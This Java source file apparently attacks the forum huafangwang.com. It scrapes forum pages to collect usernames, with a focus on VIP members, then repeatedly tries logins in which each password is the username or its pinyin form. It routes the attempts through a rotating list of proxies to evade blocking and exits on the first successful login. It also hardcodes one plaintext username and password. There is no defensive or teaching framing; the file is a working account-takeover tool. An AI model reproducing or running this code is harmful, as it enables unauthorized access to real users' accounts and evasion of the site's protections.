package com.xz.main;

import com.xz.bean.Source;
import com.xz.util.EndIdUtil;
import net.sourceforge.pinyin4j.PinyinHelper;
import net.sourceforge.pinyin4j.format.HanyuPinyinCaseType;
import net.sourceforge.pinyin4j.format.HanyuPinyinOutputFormat;
import net.sourceforge.pinyin4j.format.HanyuPinyinToneType;
import org.apache.commons.lang.StringUtils;
import org.apache.http.Consts;
import org.apache.http.HttpHost;
import org.apache.http.HttpStatus;
import org.apache.http.NameValuePair;
import org.apache.http.client.config.RequestConfig;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.conn.ConnectTimeoutException;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.util.EntityUtils;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.nodes.Element;
import org.jsoup.select.Elements;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import java.net.SocketTimeoutException;
import java.net.URI;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

/**
 * Created by YLZX-Z0107 on 2014/9/9.
 */
public class Main {
    private static final String loginUrl = "http://www.huafangwang.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1";
    private static final String initUrl = "http://www.huafangwang.com/forum-2-";

    public static void main(String[] args) throws Exception {
        CloseableHttpClient httpclient = HttpClients.createDefault();
        Set<String> threadUrls = new HashSet<String>();
        Set<String> userNames = new HashSet<String>();
        HttpGet get = new HttpGet("http://www.huafangwang.com/forum-40-");
        for (int i = 1; i < 100; i++) {
            get.setURI(new URI("http://www.huafangwang.com/forum-40-" + i + ".html"));
            CloseableHttpResponse response = httpclient.execute(get);
            String result = EntityUtils.toString(response.getEntity(), "gbk");
            Document document = Jsoup.parse(result);
            Elements elements = document.select("table#threadlisttableid>tbody>tr>th>a.s.xst");
            for (Element element : elements) {
                String url = element.attr("href");
                if (threadUrls.add(url)) {
//                    System.out.println(url);
                    int page = getPage(url, get, httpclient);
                    for (int j = 1; j <= page; j++) {
                        url = url.replaceAll("-\\d*?-1\\.html","-"+j+"-1.html");
                        getVIPUser(url, get, httpclient, userNames);
                    }
                }
            }
        }
    }

    private static int getPage(String url, HttpGet get, CloseableHttpClient httpclient) throws Exception {
        get.setURI(new URI(url));
        CloseableHttpResponse response = httpclient.execute(get);
        String result = EntityUtils.toString(response.getEntity(), "gbk");
        Document document = Jsoup.parse(result);
        Element pageElement = document.select("div.pg>label>span").first();
        if (pageElement != null) {
            String page = pageElement.text();
            page = page.replace("/", "").replace("页", "").trim();
            if (StringUtils.isNumeric(page)) {
                return Integer.parseInt(page);
            } else {
                System.out.println("page读取出现错误: " + url);
                System.exit(0);
            }
        }
        return 1;
    }

    private static void getVIPUser(String url, HttpGet get, CloseableHttpClient httpclient, Set<String> userNames) throws Exception {
        get.setURI(new URI(url));
        try {
            CloseableHttpResponse response = httpclient.execute(get);
            String result = EntityUtils.toString(response.getEntity(), "gbk");
            Document document = Jsoup.parse(result);
            Elements elements = document.select("td.pls");
            for (Element element : elements) {
                if (element.text().contains("VIP")) {
                    String userName = element.select("a.xw1").first().text();
                    if (userNames.add(userName)) {
                        System.out.println(userName);
                    }
                }
            }
        } catch (Exception e) {
            System.out.println("the error url is: " + url);
        }
    }

    private static void setTarget(HttpPost post, String ip) {
        // 依次是代理地址，代理端口号，协议类型
        HttpHost proxy = new HttpHost(getIp(ip), getPort(ip));
        RequestConfig config = RequestConfig.custom().setProxy(proxy).setSocketTimeout(5000)
                .setConnectTimeout(5000).build();
        post.setConfig(config);
    }

    private static void testPasswordByDeffIp() throws Exception {
        CloseableHttpClient httpclient = HttpClients.createDefault();
        Pattern p = Pattern.compile("[\u4e00-\u9fa5]");
        HttpPost post = new HttpPost(loginUrl);
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(new FileInputStream(new File("e:/huafang.txt"))));
        String lineTxt;
        List<String> ips = getIps();
        Source source = EndIdUtil.getStart();
        // 依次是目标请求地址，端口号,协议类型
        HttpHost target = new HttpHost(loginUrl, 80,
                "http");
        int i = 0;
        int j = 1;
        int k = 1000;
        boolean f = true;
        while ((lineTxt = bufferedReader.readLine()) != null) {
            i++;
            if (i > source.getHuaNum()) {
                String password = "";
                Matcher m = p.matcher(lineTxt);
                if (m.find()) {
                    password = pinyin(lineTxt);
                } else {
                    password = lineTxt;
                }
                Thread.sleep(500);
                System.out.println(lineTxt + "---" + password);
                source.setHuaNum(i);
                EndIdUtil.writeStart(source);
                List<NameValuePair> formparams = new ArrayList<NameValuePair>();
                formparams.add(new BasicNameValuePair("fastloginfield", "username"));
                formparams.add(new BasicNameValuePair("username", lineTxt));
                formparams.add(new BasicNameValuePair("password", password));
                formparams.add(new BasicNameValuePair("quickforward", "yes"));
                formparams.add(new BasicNameValuePair("handlekey", "ls"));
                UrlEncodedFormEntity entity = new UrlEncodedFormEntity(formparams, Consts.UTF_8);
                post.setEntity(entity);
                setTarget(post, ips.get(k));
                CloseableHttpResponse response = null;
                String result = "";
                while (f) {
                    try {
                        response = httpclient.execute(target, post);
                        result = EntityUtils.toString(response.getEntity(), "gbk");
                        if (result.contains("错误：您所请求的网址")) {
                            k++;
                            setTarget(post, ips.get(k));
                        } else {
                            j++;
                            f = false;
                        }
                    } catch (ConnectTimeoutException e) {
                        k++;
                        setTarget(post, ips.get(k));
                    } catch (SocketTimeoutException e) {
                        k++;
                        setTarget(post, ips.get(k));
                    } catch (Exception e) {
                        k++;
                        setTarget(post, ips.get(k));
                    }
                }
                f = true;
                System.out.println(result + "---" + ips.get(k));
                if (j % 5 == 0) {
                    k++;
                }
                if (result.contains("欢迎您回来") || result.contains("window.location.href")) {
                    System.exit(0);
                }
            }
        }
        bufferedReader.close();
    }

    private static String getIp(String line) {
        return line.split("---")[0];
    }

    private static Integer getPort(String line) {
        String s = line.split("---")[1];
        return Integer.parseInt(s);
    }

    private static String pinyin(String name) {
        String pinyinName = "";
        char[] nameChar = name.toCharArray();
        HanyuPinyinOutputFormat defaultFormat =
                new HanyuPinyinOutputFormat();
        defaultFormat.setCaseType(HanyuPinyinCaseType.LOWERCASE);
        defaultFormat.setToneType(HanyuPinyinToneType.WITHOUT_TONE);
        for (int i = 0; i < nameChar.length; i++) {
            if (nameChar[i] > 128) {
                try {
                    pinyinName += PinyinHelper.toHanyuPinyinStringArray
                            (nameChar[i], defaultFormat)[0];
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
        return pinyinName;
    }

    public void getUserName() throws Exception {
        CloseableHttpClient httpclient = HttpClients.createDefault();
        Set<String> urls = new HashSet<String>();
        HttpGet get = new HttpGet(initUrl);
        for (int i = 1; i < 60; i++) {
            get.setURI(new URI(initUrl + i + ".html"));
            CloseableHttpResponse response = httpclient.execute(get);
            String result = EntityUtils.toString(response.getEntity(), "gbk");
            Document document = Jsoup.parse(result);
            Elements elements = document.select("table#threadlisttableid>tbody>tr>td>cite");
            for (Element element : elements) {
                if (urls.add(element.text())) {
                    System.out.println(element.text());
                }
            }
        }
    }

    public void testPassword() throws Exception {
        CloseableHttpClient httpclient = HttpClients.createDefault();
        HttpPost post = new HttpPost(loginUrl);
        List<NameValuePair> formparams = new ArrayList<NameValuePair>();
        formparams.add(new BasicNameValuePair("fastloginfield", "username"));
        formparams.add(new BasicNameValuePair("username", "t2xingzhe"));
        formparams.add(new BasicNameValuePair("password", "xingzhe3012"));
        formparams.add(new BasicNameValuePair("quickforward", "yes"));
        formparams.add(new BasicNameValuePair("handlekey", "ls"));
        UrlEncodedFormEntity entity = new UrlEncodedFormEntity(formparams, Consts.UTF_8);
        post.setEntity(entity);
        CloseableHttpResponse response = httpclient.execute(post);
        String result = EntityUtils.toString(response.getEntity(), "utf-8");
        if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
            System.out.println(result);
            System.out.println("get success!");
        }
    }

    private static List<String> getIps() {
        List<String> ips = new ArrayList<String>(17000);
        try {
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(new FileInputStream(new File("e:/ip.txt"))));
            String lineTxt;
            while ((lineTxt = bufferedReader.readLine()) != null) {
                ips.add(lineTxt);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return ips;
    }
}
